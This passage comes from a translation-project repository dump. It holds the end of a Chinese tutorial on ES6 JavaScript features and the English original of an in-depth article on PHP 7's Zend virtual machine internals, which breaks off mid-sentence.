setTimeout(function(){ resolve(string); }, timeout); }); } printAfterTimeout('Hello ', 2e3).then((result) => { console.log(result); return printAfterTimeout(result + 'Reader', 2e3); }).then((result) => { console.log(result); }); ``` 如你所见,使用 promises 我们能在函数完成后进行一些操作。不再需要嵌套函数。 ## 箭头函数 ES6 没有移除函数表达式,但是新增了一种,叫做箭头函数。 在 ES5 中,对于 `this` 我们有一些问题: ``` // ES5 var _this = this; // 保持一个引用 $('.btn').click(function(event){ _this.sendData(); // 引用的是外层的 this }); $('.input').on('change',function(event){ this.sendData(); // 引用的是外层的 this }.bind(this)); // 绑定到外层的 this ``` 你需要使用一个临时的 `this` 在函数内部进行引用或用 `bind` 绑定。在 ES6 中,你可以用箭头函数。 ``` // ES6 // 引用的是外部的那个 this $('.btn').click((event) => this.sendData()); // 隐式返回 const ids = [291, 288, 984]; const messages = ids.map(value => `ID is ${value}`); ``` ## For…of 从 `for` 到 `forEach` 再到 `for...of`: ``` // ES5 // for var array = ['a', 'b', 'c', 'd']; for (var i = 0; i < array.length; i++) { var element = array[i]; console.log(element); } // forEach array.forEach(function (element) { console.log(element); }); ``` ES6 的 for…of 同样可以实现迭代。 ``` // ES6 // for ...of const array = ['a', 'b', 'c', 'd']; for (const element of array) { console.log(element); } ``` ## 默认参数 从检查一个变量是否被定义到重新指定一个值再到 `default parameters`。 你以前写过类似这样的代码吗? ``` // ES5 function point(x, y, isFlag){ x = x || 0; y = y || -1; isFlag = isFlag || true; console.log(x,y, isFlag); } point(0, 0) // 0 -1 true 😱 point(0, 0, false) // 0 -1 true 😱😱 point(1) // 1 -1 true point() // 0 -1 true ``` 可能有过,这是一种检查变量是否赋值的常见模式,不然则分配一个默认值。然而,这里有一些问题: * 第 8 行中,我们传入 `0, 0` 返回了 `0, -1`。 * 第 9 行中, 我们传入 `false` 但是返回了 `true`。 如果你传入一个布尔值作为默认参数或将值设置为 0,它不能正常起作用。你知道为什么吗?在讲完 ES6 示例后我会告诉你。 用 ES6,现在你可以用更少的代码做到更好! ``` // ES6 function point(x = 0, y = -1, isFlag = true){ console.log(x,y, isFlag); } point(0, 0) // 0 0 true point(0, 0, false) // 0 0 false point(1) // 1 -1 true point() // 0 -1 true ``` 请注意第 5 行和第 6 行,我们得到了预期的结果。ES5 示例则无效。首先检查是否等于 `undefined`,因为 `false`,`null`,`undefined` 和 `0` 都是假值,我们可以避开这些数字, ``` // ES5 function point(x, y, isFlag){ x = x || 0; y = typeof(y) === 'undefined' ? -1 : y; isFlag = typeof(isFlag) === 'undefined' ? true : isFlag; console.log(x,y, isFlag); } point(0, 0) // 0 0 true point(0, 0, false) // 0 0 false point(1) // 1 -1 true point() // 0 -1 true ``` 当我们检查是否为 `undefined` 后,获得了期望的结果。 ## 剩余参数 从参数到剩余参数和扩展操作符。 在 ES5 中,获取任意数量的参数是非常麻烦的: ``` // ES5 function printf(format) { var params = [].slice.call(arguments, 1); console.log('params: ', params); console.log('format: ', format); } printf('%s %d %.2f', 'adrian', 321, Math.PI); ``` 我们可以用 rest 操作符 `...` 做到同样的事情。 ``` // ES6 function printf(format, ...params) { console.log('params: ', params); console.log('format: ', format); } printf('%s %d %.2f', 'adrian', 321, Math.PI); ``` ## 展开运算符 从 `apply()` 到展开运算符。我们同样用 `...` 来解决: > 提醒:我们使用 `apply()` 将数组转换为一列参数。例如,`Math.max()` 作用于一列参数,但是如果我们有一个数组,我们就能用 `apply` 让它生效。 ![](http://adrianmejia.com/images/javascript-math-apply-arrays.png "JavaScript Math apply for arrays") 正如我们较早之前看过的,我们可以使用 `apply` 将数组作为参数列表传递: ``` // ES5 Math.max.apply(Math, [2,100,1,6,43]) // 100 ``` 在 ES6 中,你可以用展开运算符: ``` // ES6 Math.max(...[2,100,1,6,43]) // 100 ``` 同样,从 `concat` 数组到使用展开运算符: ``` // ES5 var array1 = [2,100,1,6,43]; var array2 = ['a', 'b', 'c', 'd']; var array3 = [false, true, null, undefined]; console.log(array1.concat(array2, array3)); ``` 在 ES6 中,你可以用展开运算符来压平嵌套: ``` // ES6 const array1 = [2,100,1,6,43]; const array2 = ['a', 'b', 'c', 'd']; const array3 = [false, true, null, undefined]; console.log([...array1, ...array2, ...array3]); ``` # 总结 JavaScript 经历了相当多的修改。这篇文章涵盖了每个 JavaScript 开发者都应该了解的大多数核心功能。同样,我们也介绍了一些让你的代码更加简洁,易于理解的最佳实践。 如果你认为还有一些没有提到的**必知**的功能,请在下方留言,我会更新这篇文章。 ================================================ FILE: TODO/PHP-7-Virtual-machine.md ================================================ > * 原文地址:[PHP 7 Virtual Machine](http://nikic.github.io/2017/04/14/PHP-7-Virtual-machine.html) > * 原文作者:[nikic](http://nikic.github.io/aboutMe.html) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: > * 校对者: # PHP 7 Virtual Machine # This article aims to provide an overview of the Zend Virtual Machine, as it is found in PHP 7. This is not a comprehensive description, but I try to cover most of the important parts, as well as some of the finer details. This description targets PHP version 7.2 (currently in development), but nearly everything also applies to PHP 7.0/7.1. However, the differences to the PHP 5.x series VM are significant and I will generally not bother to draw parallels. Most of this post will consider things at the level of instruction listings and only a few sections at the end deal with the actual C level implementation of the VM. However, I do want to provide some links to the main files that make up the VM upfront: - [zend_vm_def.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h): The VM definition file. - [zend_vm_execute.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h): The generated virtual machine. - [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php): The generating script. - [zend_execute.c](https://github.com/php/php-src/blob/master/Zend/zend_execute.c): Most of the direct support code. ## Opcodes ## In the beginning, there was the opcode. “Opcode” is how we refer to a full VM instruction (including operands), but may also designate only the “actual” operation code, which is a small integer determining the type of instruction. The intended meaning should be clear from context. In source code, full instructions are usually called “oplines”. An individual instruction conforms to the following `zend_op` structure: ``` struct _zend_op { const void *handler; znode_op op1; znode_op op2; znode_op result; uint32_t extended_value; uint32_t lineno; zend_uchar opcode; zend_uchar op1_type; zend_uchar op2_type; zend_uchar result_type; }; ``` As such, opcodes are essentially a “three-address code” instruction format. There is an `opcode` determining the instruction type, there are two input operands `op1` and `op2` and one output operand `result`. Not all instructions use all operands. An `ADD` instruction (representing the `+` operator) will use all three. A `BOOL_NOT` instruction (representing the `!` operator) uses only op1 and result. An `ECHO` instruction uses only op1. Some instructions may either use or not use an operand. For example `DO_FCALL` may or may not have a result operand, depending on whether the return value of the function call is used. Some instructions require more than two input operands, in which case they will simply use a second dummy instruction (`OP_DATA`) to carry additional operands. Next to these three standard operands, there exists an additional numeric `extended_value` field, which can be used to hold additional instruction modifiers. For example for a `CAST` it might contain the target type to cast to. Each operand has a type, stored in `op1_type`, `op2_type` and `result_type` respectively. The possible types are `IS_UNUSED`, `IS_CONST`, `IS_TMPVAR`, `IS_VAR` and `IS_CV`. The three latter types designated a variable operand (with three different types of VM variables), `IS_CONST` denotes a constant operand (`5` or `"string"` or even `[1, 2, 3]`), while `IS_UNUSED` denotes an operand that is either actually unused, or which is used as a 32-bit numeric value (an “immediate”, in assembly jargon). Jump instructions for example will store the jump target in an `UNUSED` operand. ### Obtaining opcode dumps ### In the following, I’ll often show opcode sequences that PHP generates for some example code. There are currently three ways by which such opcode dumps may be obtained: ``` # Opcache, since PHP 7.1 php -d opcache.opt_debug_level=0x10000 test.php # phpdbg, since PHP 5.6 phpdbg -p* test.php # vld, third-party extension php -d vld.active=1 test.php ``` Of these, opcache provides the highest-quality output. The listings used in this article are based on opcache dumps, with minor syntax adjustments. The magic number `0x10000` is short for “before optimization”, so that we see the opcodes as the PHP compiler produced them. `0x20000` would give you optimized opcodes. Opcache can also generate a lot more information, for example `0x40000` will produce a CFG, while `0x200000` will produce type- and range-inferred SSA form. But that’s getting ahead of ourselves: plain old linearized opcode dumps are sufficient for our purposes. ## Variable types ## Likely one of the most important points to understand when dealing with the PHP virtual machine, are the three distinct variable types it uses. In PHP 5 TMPVAR, VAR and CV had very different representations on the VM stack, along with different ways of accessing them. In PHP 7 they have become very similar in that they share the same storage mechanism. However there are important differences in the values they can contain and their semantics. CV is short for “compiled variable” and refers to a “real” PHP variable. If a function uses variable `$a`, there will be a corresponding CV for `$a`. CVs can have `UNDEF` type, to denote undefined variables. If an UNDEF CV is used in an instruction, it will (in most cases) throw the well-known “undefined variable” notice. On function entry all non-argument CVs are initialized to be UNDEF. CVs are not consumed by instructions, e.g. an instruction `ADD $a, $b` will *not* destroy the values stored in CVs `$a` and `$b`. Instead all CVs are destroyed together on scope exit. This also implies that all CVs are “live” for the entire duration of function, where “live” here refers to containing a valid value (not live in the data flow sense). TMPVARs and VARs on the other hand are virtual machine temporaries. They are typically introduced as the result operand of some operation. For example the code `$a = $b + $c + $d` will result in an opcode sequence similar to the following: ``` T0 = ADD $b, $c T1 = ADD T0, $d ASSIGN $a, T1 ``` TMP/VARs are always defined before use and as such cannot hold an UNDEF value. Unlike CVs, these variable types *are* consumed by the instructions they’re used in. In the above example, the second ADD will destroy the value of the T0 operand and T0 must not be used after this point (unless it is written to beforehand). Similarly, the ASSIGN will consume the value of T1, invalidating T1. It follows that TMP/VARs are usually very short-lived. In a large number of cases a temporary only lives for the space of a single instruction. Outside this short liveness interval, the value in the temporary is garbage. So what’s the difference between TMP and VAR? Not much. The distinction was inherited from PHP 5, where TMPs were VM stack allocated, while VARs were heap allocated. In PHP 7 all variables are stack allocated. As such, nowadays the main difference between TMPs and VARs is that only the latter are allowed to contain REFERENCEs (this allows us to elide DEREFs on TMPs). Furthermore VARs may hold two types of special values, namely class entries and INDIRECT values. The latter are used to handle non-trivial assignments. The following table attempts to summarize the main differences: ``` | UNDEF | REF | INDIRECT | Consumed? | Named? | -------|-------|-----|----------|-----------|--------| CV | yes | yes | no | no | yes | TMPVAR | no | no | no | yes | no | VAR | no | yes | yes | yes | no | ``` ## Op arrays ## All PHP functions are represented as structures that have a common `zend_function` header. “Function” here is to be understood somewhat broadly and includes everything from “real” functions, over methods, down to free-standing “pseudo-main” code and “eval” code. Userland functions use the `zend_op_array` structure. It has more than 30 members, so I’m starting with a reduced version for now: ``` struct _zend_op_array { /* Common zend_function header here */ /* ... */ uint32_t last; zend_op *opcodes; int last_var; uint32_t T; zend_string **vars; /* ... */ int last_literal; zval *literals; /* ... */ }; ``` The most important part here are of course the `opcodes`, which is an array of opcodes (instructions). `last` is the number of opcodes in this array. Note that the terminology is confusing here, as `last` sounds like it should be the index of the last opcode, while it really is the number of opcodes (which is one greater than the last index). The same applies to all other `last_*` values in the op array structure. `last_var` is the number of CVs, and `T` is the number of TMPs and VARs (in most places we make no strong distinction between them). `vars` in array of names for CVs. `literals` is an array of literal values occurring in the code. This array is what `CONST` operands reference. Depending on the ABI, each `CONST` operand will either a store a pointer into this `literals` table, or store an offset relative to its start. There is more to the op array structure than this, but it can wait for later. ## Stack frame layout ## Apart from some executor globals (EG), all execution state is stored on the virtual machine stack. The VM stack is allocated in pages of 256 KiB and individual pages are connected through a linked list. On each function call, a new stack frame is allocated on the VM stack, with the following layout: ``` +----------------------------------------+ | zend_execute_data | +----------------------------------------+ | VAR[0] = ARG[1] | arguments | ... | | VAR[num_args-1] = ARG[N] | | VAR[num_args] = CV[num_args] | remaining CVs | ... | | VAR[last_var-1] = CV[last_var-1] | | VAR[last_var] = TMP[0] | TMP/VARs | ... | | VAR[last_var+T-1] = TMP[T] | | ARG[N+1] (extra_args) | extra arguments | ... | +----------------------------------------+ ``` The frame starts with a `zend_execute_data` structure, followed by an array of variable slots. The slots are all the same (simple zvals), but are used for different purposes. The first `last_var` slots are CVs, of which the first `num_args` holds function arguments. The CV slots are followed by `T` slots for TMP/VARs. Lastly, there can sometimes be “extra” arguments stored at the end of the frame. These are used for handling `func_get_args()`. CV and TMP/VAR operands in instructions are encoded as offsets relative to the start of the stack frame, so fetching a certain variable is simply an offseted read from the `execute_data` location. The execute data at the start of the frame is defined as follows: ``` struct _zend_execute_data { const zend_op *opline; zend_execute_data *call; zval *return_value; zend_function *func; zval This; /* this + call_info + num_args */ zend_class_entry *called_scope; zend_execute_data *prev_execute_data; zend_array *symbol_table; void **run_time_cache; /* cache op_array->run_time_cache */ zval *literals; /* cache op_array->literals */ }; ``` Most importantly, this structure contains `opline`, which is the currently executed instruction, and `func`, which is the currently executed function. Furthermore: - `return_value` is a pointer to the zval into the which the return value will be stored. - `This` is the `$this` object, but also encodes the number of function arguments and a couple of call metadata flags in some unused zval space. - `called_scope` is the scope that `static::` refers to in PHP code. - `prev_execute_data` points to the previous stack frame, to which execution will return after this function finished running. - `symbol_table` is a typically unused symbol table used in case some crazy person actually uses variable variables or similar features. - `run_time_cache` caches the op array runtime cache, in order to avoid one pointer indirection when accessing this structure (which is discussed later). - `literals` caches the op array literals table for the same reason. ## Function calls ## I’ve skipped one field in the execute_data structure, namely `call`, as it requires some further context about how function calls work. All calls use a variation on the same instruction sequence. A `var_dump($a, $b)` in global scope will compile to: ``` INIT_FCALL (2 args) "var_dump" SEND_VAR $a SEND_VAR $b V0 = DO_ICALL # or just DO_ICALL if retval unused ``` There are eight different types of INIT instructions depending on what kind of call it is. INIT_FCALL is used for calls to free functions that we recognize at compile time. Similarly there are ten different SEND opcodes depending on the type of the arguments and the function. There is only a modest number of four DO_CALL opcodes, where ICALL is used for calls to internal functions. While the specific instructions may differ, the structure is always the same: INIT, SEND, DO. The main issue that the call sequence has to contend with are nested function calls, which compile something like this: ``` # var_dump(foo($a), bar($b)) INIT_FCALL (2 args) "var_dump" INIT_FCALL (1 arg) "foo" SEND_VAR $a V0 = DO_UCALL SEND_VAR V0 INIT_FCALL (1 arg) "bar" SEND_VAR $b V1 = DO_UCALL SEND_VAR V1 V2 = DO_ICALL ``` I’ve indented the opcode sequence to visualize which instructions correspond to which call. The INIT opcode pushes a call frame on the stack, which contains enough space for all the variables in the function and the number of arguments we know about (if argument unpacking is involved, we may end up with more arguments). This call frame is initialized with the called function, `$this` and the `called_scope` (in this case the latter are both NULL, as we’re calling free functions). A pointer to the new frame is stored into `execute_data->call`, where `execute_data` is the frame of the calling function. In the following we’ll denote such accesses as `EX(call)`. Notably, the `prev_execute_data` of the new frame is set to the old `EX(call)` value. For example, the INIT_FCALL for call `foo` will set the prev_execute_data to the stack frame of the `var_dump` (rather than that of the surrounding function). As such, prev_execute_data in this case forms a linked list of “unfinished” calls, while usually it would provide the backtrace chain. The SEND opcodes then proceed to push arguments into the variable slots of `EX(call)`. At this point the arguments are all consecutive and may overflow from the section designated for arguments into other CVs or TMPs. This will be fixed later. Lastly DO_FCALL performs the actual call. What was `EX(call)` becomes the current function and `prev_execute_data` is relinked to the calling function. Apart from that, the call procedure depends on what kind of function it is. Internal functions only need to invoke a handler function, while userland functions need to finish initialization of the stack frame. This initialization involves fixing up the argument stack. PHP allows passing more arguments to a function than it expects (and `func_get_args` relies on this). However, only the actually declared arguments have corresponding CVs. Any arguments beyond this will write into memory reserved for other CVs and TMPs. As such, these arguments will be moved after the TMPs, ending up with arguments segmented into two non-continuous chunks. To have it clearly stated, userland function calls do not involve recursion at the virtual machine level. They only involve a switch from one execute_data to another, but the VM continues running in a linear loop. Recursive virtual machine invocations only occur if internal functions invoke userland callbacks (e.g. through `array_map`). This is the reason why infinite recursion in PHP usually results in a memory limit or OOM error, but it is possible to trigger a stack overflow by recursion through callback-functions or magic methods. ### Argument sending ### PHP uses a large number of different argument sending opcodes, whose differences can be confusing, no thanks to some unfortunate naming. SEND_VAL and SEND_VAR are the simplest variants, which handle sending of by-value arguments that are known to be by-value at compile time. SEND_VAL is used for CONST and TMP operands, while SEND_VAR is for VARs and CVs. SEND_REF conversely, is used for arguments that are known to be by-reference during compilation. As only variables can be sent by reference, this opcode only accepts VARs and CVs. SEND_VAL_EX and SEND_VAR_EX are variants of SEND_VAL/SEND_VAR for cases where we cannot determine statically whether the argument is by-value or by-reference. These opcodes will check the kind of the argument based on arginfo and behave accordingly. In most cases the actual arginfo structure is not used, but rather a compact bit vector representation directly in the function structure. And then there is SEND_VAR_NO_REF_EX. Don’t try to read anything into its name, it’s outright lying. This opcode is used when passing something that isn’t really a “variable” but does return a VAR to a statically unknown argument. Two particular examples where it is used are passing the result of a function call as an argument, or passing the result of an assignment. This case needs a separate opcode for two reasons: Firstly, it will generate the familiar “Only variables should be passed by reference” notice if you try to pass something like an assignment by ref (if SEND_VAR_EX were used instead, it would have been silently allowed). Secondly, this opcode deals with the case that you might want to pass the result of a reference-returning function to a by-reference argument (which should not throw anything). The SEND_VAR_NO_REF variant of this opcode (without the _EX) is a specialized variant for the case where we statically know that a reference is expected (but we don’t know whether the argument is one). The SEND_UNPACK and SEND_ARRAY opcodes deal with argument unpacking and inlined `call_user_func_array` calls respectively. They both push the elements from an array onto the argument stack and differ in various details (e.g. unpacking supports Traversables while call_user_func_array does not). If unpacking/cufa is used, it may be necessary to extend the stack frame beyond its previous size (as the real number of function arguments is not known at the time of initialization). In most cases this extension can happen simply by moving the stack top pointer. However if this would cross a stack page boundary, a new page has to be allocated and the entire call frame (including already pushed arguments) needs to be copied to the new page (we are not be able to handle a call frame crossing a page boundary). The last opcode is SEND_USER, which is used for inlined `call_user_func` calls and deals with some of its peculiarities. While we haven’t yet discussed the different variable fetch modes, this seems like a good place to introduce the FUNC_ARG fetch mode. Consider a simple call like `func($a[0][1][2])`, for which we do not know at compile-time whether the argument will be passed by-value or by-reference. In both cases the behavior will be wildly different. If the pass is by-value and `$a` was previously empty, this could would have to generate a bunch of “undefined index” notices. If the pass is by-reference we’d have to silently initialize the nested arrays instead. The FUNC_ARG fetch mode will dynamically choose one of the two behaviors (R or W), by inspecting the arginfo of the current `EX(call)` function. For the `func($a[0][1][2])` example, the opcode sequence might look something like this: ``` INIT_FCALL_BY_NAME "func" V0 = FETCH_DIM_FUNC_ARG (arg 1) $a, 0 V1 = FETCH_DIM_FUNC_ARG (arg 1) V0, 1 V2 = FETCH_DIM_FUNC_ARG (arg 1) V1, 2 SEND_VAR_EX V2 DO_FCALL ``` ## Fetch modes ## The PHP virtual machine has four classes of fetch opcodes: ``` FETCH_* // $_GET, $$var FETCH_DIM_* // $arr[0] FETCH_OBJ_* // $obj->prop FETCH_STATIC_PROP_* // A::$prop ``` These do precisely what one would expect them to do, with the caveat that the basic FETCH_* variant is only used to access variable-variables and superglobals: normal variable accesses go through the much faster CV mechanism instead. These fetch opcodes each come in six variants: ``` _R _RW _W _IS _UNSET _FUNC_ARG ``` We’ve already learned that _FUNC_ARG chooses between _R and _W depending on whether a function argument is by-value or by-reference. Let’s try to create some situations where we would expect the different fetch types to appear: ``` // $arr[0]; V2 = FETCH_DIM_R $arr int(0) FREE V2 // $arr[0] = $val; ASSIGN_DIM $arr int(0) OP_DATA $val // $arr[0] += 1; ASSIGN_ADD (dim) $arr int(0) OP_DATA int(1) // isset($arr[0]); T5 = ISSET_ISEMPTY_DIM_OBJ (isset) $arr int(0) FREE T5 // unset($arr[0]); UNSET_DIM $arr int(0) ``` Unfortunately, the only actual fetch this produced is FETCH_DIM_R: Everything else is handled through special opcodes. Note that ASSIGN_DIM and ASSIGN_ADD both use an extra OP_DATA, because they need more than two input operands. The reason why special opcodes like ASSIGN_DIM are used, instead of something like FETCH_DIM_W + ASSIGN, is (apart from performance) that these operations may be overloaded, e.g., in the ASSIGN_DIM case by means of an object implementing ArrayAccess::offsetSet(). To actually generate the different fetch types we need to increase the level of nesting: ``` // $arr[0][1]; V2 = FETCH_DIM_R $arr int(0) V3 = FETCH_DIM_R V2 int(1) FREE V3 // $arr[0][1] = $val; V4 = FETCH_DIM_W $arr int(0) ASSIGN_DIM V4 int(1) OP_DATA $val // $arr[0][1] += 1; V6 = FETCH_DIM_RW $arr int(0) ASSIGN_ADD (dim) V6 int(1) OP_DATA int(1) // isset($arr[0][1]); V8 = FETCH_DIM_IS $arr int(0) T9 = ISSET_ISEMPTY_DIM_OBJ (isset) V8 int(1) FREE T9 // unset($arr[0][1]); V10 = FETCH_DIM_UNSET $arr int(0) UNSET_DIM V10 int(1) ``` Here we see that while the outermost access uses specialized opcodes, the nested indexes will be handled using FETCHes with an appropriate fetch mode. The fetch modes essentially differ by a) whether they generate an “undefined offset” notice if the index doesn’t exist, and whether they fetch the value for writing: ``` | Notice? | Write? R | yes | no W | no | yes RW | yes | yes IS | no | no UNSET | no | yes-ish ``` The case of UNSET is a bit peculiar, in that it will only fetch existing offsets for writing, and leave undefined ones alone. A normal write-fetch would initialize undefined offsets instead. ### Writes and memory safety ### Write fetches return VARs that may contain either a normal zval or an INDIRECT pointer to another zval. Of course, in the former case any changes applied to the zval will not be visible, as the value is only accessible through a VM temporary. While PHP prohibits expression such as `[][0] = 42`, we still need to handle this for cases like `call()[0] = 42`. Depending on whether `call()` returns by-value or by-reference, this expression may or may not have an observable effect. The more typical case is when the fetch returns an INDIRECT, which contains a pointer to the storage location that is being modified, for example a certain location in a hashtable data array. Unfortunately, such pointers are fragile things and easily invalidated: any concurrent write to the array might trigger a reallocation, leaving behind a dangling pointer. As such, it is critical to prevent the execution of user code between the point where an INDIRECT value is created and where it is consumed. Consider this example: ``` $arr[a()][b()]=c(); ``` Which generates: ``` INIT_FCALL_BY_NAME (0 args) "a" V1 = DO_FCALL_BY_NAME INIT_FCALL_BY_NAME (0 args) "b" V3 = DO_FCALL_BY_NAME INIT_FCALL_BY_NAME (0 args) "c" V5 = DO_FCALL_BY_NAME V2 = FETCH_DIM_W $arr V1 ASSIGN_DIM V2 V3 OP_DATA V5 ``` Notably, this sequence first executes all side-effects from left to right and only then performs any necessary write fetches (we refer to the FETCH_DIM_W here as a “delayed opline”). This ensures that the write-fetch and the consuming instruction are directly adjacent. Consider another example: ``` $arr[0]=&$arr[1]; ``` Here we have a bit of problem: Both sides of the assignment must be fetched for write. However, if we fetch `$arr[0]` for write and then `$arr[1]` for write, the latter might invalidate the former. This problem is solved as follows: ``` V2 = FETCH_DIM_W $arr 1 V3 = MAKE_REF V2 V1 = FETCH_DIM_W $arr 0 ASSIGN_REF V1 V3 ``` Here `$arr[1]` is fetched for write first, then turned into a reference using MAKE_REF. The result of MAKE_REF is no longer INDIRECT and not subject to invalidation, as such the fetch of `$arr[0]` can be performed safely. ## Exception handling ## Exceptions are the root of all evil. An exception is generated by writing an exception into `EG(exception)`, where EG refers to executor globals. Throwing exceptions from C code does not involve stack unwinding, instead the abortion will propagate upwards through return value failure codes or checks for `EG(exception)`. The exception is only actually handled when control reenters the virtual machine code. Nearly all VM instructions can directly or indirectly result in an exception under some circumstances. For example any “undefined variable” notice can result in an exception if a custom error handler is used. We want to avoid checking whether `EG(exception)` has been set after each VM instruction. Instead a small trick is used: When an exception is thrown the current opline of the current execute data is replaced with a dummy HANDLE_EXCEPTION opline (this obviously does not modify the op array, it only redirects a pointer). The opline at which the exception originated is backed up into `EG(opline_before_exception)`. This means that when control returns into the main virtual machine dispatch loop, the HANDLE_EXCEPTION opcode will be invoked. There is a slight problem with this scheme: It requires that a) the opline stored in the execute data is actually the currently executed opline (otherwise opline_before_exception would be wrong) and b) the virtual machine uses the opline from the execute data to continue execution (otherwise HANDLE_EXCEPTION will not be invoked). While these requirements may sound trivial, they are not. The reason is that the virtual machine may be working on a different opline variable that is out-of-sync with the opline stored in execute data. Before PHP 7 this only happened in the rarely used GOTO and SWITCH virtual machines, while in PHP 7 this is actually the default mode of operation: If the compiler supports it, the opline is stored in a global register. As such, before performing any operation that might possibly throw, the local opline must be written back into the execute data (SAVE_OPLINE operation). Similarly, after any potentially throwing operation the local opline must be populated from execute data (mostly a CHECK_EXCEPTION operation). Now, this machinery is what causes a HANDLE_EXCEPTION opcode to execute after an exception is thrown. But what does it do? First of all, it determines whether the exception was thrown inside a try block. For this purpose the op array contains an array of try_catch_elements that track opline offsets for try, catch and finally blocks: ``` typedef struct _zend_try_catch_element { uint32_t try_op; uint32_t catch_op; /* ketchup! */ uint32_t finally_op; uint32_t finally_end; } zend_try_catch_element; ``` For now we will pretend that finally blocks do not exist, as they are a whole different rabbit hole. Assuming that we are indeed inside a try block, the VM needs to clean up all unfinished operations that started before the throwing opline and don’t span past the end of the try block. This involves freeing the stack frames and associated data of all calls currently in flight, as well as freeing live temporaries. In the majority of cases temporaries are short-lived to the point that the consuming instruction directly follows the generating one. However it can happen that the live-range spans multiple, potentially throwing instructions: ``` # (array)[] + throwing() L0: T0 = CAST (array) [] L1: INIT_FCALL (0 args) "throwing" L2: V1 = DO_FCALL L3: T2 = ADD T0, V1 ``` In this case the T0 variable is live during instructions L1 and L2, and as such would need to be destroyed if the function call throws. One particular type of temporary tends to have particularly long live ranges: Loop variables. For example: ``` # foreach ($array as $value) throw $ex; L0: V0 = FE_RESET_R $array, ->L4 L1: FE_FETCH_R V0, $value, ->L4 L2: THROW $ex L3: JMP ->L1 L4: FE_FREE V0 ``` Here the “loop variable” V0 lives from L1 to L3 (generally always spanning the entire loop body). Live ranges are stored in the op array using the following structure: ``` typedef struct _zend_live_range { uint32_t var; /* low bits are used for variable type (ZEND_LIVE_* macros) */ uint32_t start; uint32_t end; } zend_live_range; ``` Here `var` is the (operand encoded) variable the range applies to, `start` is the start opline offset (not including the generating instruction), while `end` if the end opline offset (including the consuming instruction). Of course live ranges are only stored if the temporary is not immediately consumed. The lower bits of `var` are used to store the type of the variable, which can be one of: - ZEND_LIVE_TMPVAR: This is a “normal” variable. It holds an ordinary zval value. Freeing this variable behaves like a FREE opcode. - ZEND_LIVE_LOOP: This is a foreach loop variable, which holds more than a simple zval. This corresponds to a FE_FREE opcode. - ZEND_LIVE_SILENCE: This is used for implementing the error suppression operator. The old error reporting level is backed up into a temporary and later restored. If an exception is thrown we obviously want to restore it as well. This corresponds to END_SILENCE. - ZEND_LIVE_ROPE: This is used for rope string concatenations, in which case the temporary is a fixed-sized array of `zend_string*` pointers living on the stack. In this case all the strings that have already been populated must be freed. Corresponds approximately to END_ROPE. A tricky question to consider in this context is whether temporaries should be freed, if either their generating or their consuming instruction throws. Consider the following simple code: ``` T2 = ADD T0, T1 ASSIGN $v, T2 ``` If an exception is thrown by the ADD, should the T2 temporary be automatically freed, or is the ADD instruction responsible for this? Similarly, if the ASSIGN throws, should T2 be freed automatically, or must the ASSIGN take care of this itself? In the latter case the answer is clear: An instruction is always responsible for freeing its operands, even if an exception is thrown. The case of the result operand is more tricky, because the answer here changed between PHP 7.1 and 7.2: In PHP 7.1 the instruction was responsible for freeing the result in case of an exception. In PHP 7.2 it is automatically freed (and the instruction is responsible for making sure the result is *always* populated). The motivation for this change is the way that many basic instructions (such as ADD) are implemented. Their usual structure goes roughly as follows: ``` 1. read input operands 2. perform operation, write it into result operand 3. free input operands (if necessary) ``` This is problematic, because PHP is in the very unfortunate position of not only supporting exceptions and destructors, but also supporting throwing destructors (this is the point where compiler engineers cry out in horror). As such, step 3 can throw, at which point the result is already populated. To avoid memory leaks in this edge-case, responsiblility for freeing the result operand has been shifted from the instruction to the exception handling mechanism. Once we have performed these cleanup operations, we can continue executing the catch block. If there is no catch (and no finally) we unwind the stack, i.e. destroy the current stack frame and give the parent frame a shot at handling the exception. So you get a full appreciation for how ugly the whole exception handling business is, I’ll relate another tidbit related to throwing destructors. It’s not remotely relevant in practice, but we still need to handle it to ensure correctness. Consider this code: ``` foreach (new Dtor as $value) { try { echo "Return"; return; } catch (Exception $e) { echo "Catch"; } } ``` Now imagine that `Dtor` is a Traversable class with a throwing destructor. This code will result in the following opcode sequence, with the loop body indented for readability: ``` L0: V0 = NEW 'Dtor', ->L2 L1: DO_FCALL L2: V2 = FE_RESET_R V0, ->L11 L3: FE_FETCH_R V2, $value L4: ECHO 'Return' L5: FE_FREE (free on return) V2 # <- return L6: RETURN null # <- return L7: JMP ->L10 L8: CATCH 'Exception' $e L9: ECHO 'Catch' L10: JMP ->L3 L11: FE_FREE V2 # <- the duplicated instr ``` Importantly, note that the “return” is compiled to a FE_FREE of the loop variable and a RETURN. Now, what happens if that FE_FREE throws, because `Dtor` has a throwing destructor? Normally, we would say that this instruction is within the try block, so we should be invoking the catch. However, at this point the loop variable has already been destroyed! The catch discards the exception and we’ll try to continue iterating an already dead loop variable. The cause of this problem is that, while the throwing FE_FREE is inside the try block, it is a copy of the FE_FREE in L11. Logically that is where the exception “really” occurred. This is why the FE_FREE generated by the break is annotated as being a FREE_ON_RETURN. This instructs the exception handling mechanism to move the source of the exception to the original freeing instruction. As such the above code will not run the catch block, it will generate an uncaught exception instead. ## Finally handling ## PHP’s history with finally blocks is somewhat troubled. PHP 5.5 first introduced finally blocks, or rather: a really buggy implementation of finally blocks. Each of PHP 5.6, 7.0 and 7.1 shipped with major rewrites of the finally implementation, each fixing a whole slew of bugs, but not quite managing to reach a fully correct implementation. It looks like PHP 7.1 finally managed to hit the nail (fingers crossed). While writing this section, I was surprised to find that from the perspective of the current implementation and my current understanding, finally handling is actually not all that complicated. Indeed, in many ways the implementation became simpler through the different iterations, rather than more complex. This goes to show how an insufficient understanding of a problem can result in an implementation that is both excessively complex and buggy (although, to be fair, part of the complexity of the PHP 5 implementation stemmed directly from the lack of an AST). Finally blocks are run whenever control exits a try block, either normally (e.g. using return) or abnormally (by throwing). There are a couple interesting edge-cases to consider, which I’ll quickly illustrate before going into the implementation. Consider: ``` try { throw new Exception(); } finally { return 42; } ``` What happens? Finally wins and the function returns 42. Consider: ``` try { return 24; } finally { return 42; } ``` Again finally wins and the function returns 42. The finally always wins. PHP prohibits jumps out of finally blocks. For example the following is forbidden: ``` foreach ($array as $value) { try { return 42; } finally { continue; } } ``` The “continue” in the above code sample will generate a compile-error. It is important to understand that this limitation is purely cosmetic and can be easily worked around by using the “well-known” catch control delegation pattern: ``` foreach ($array as 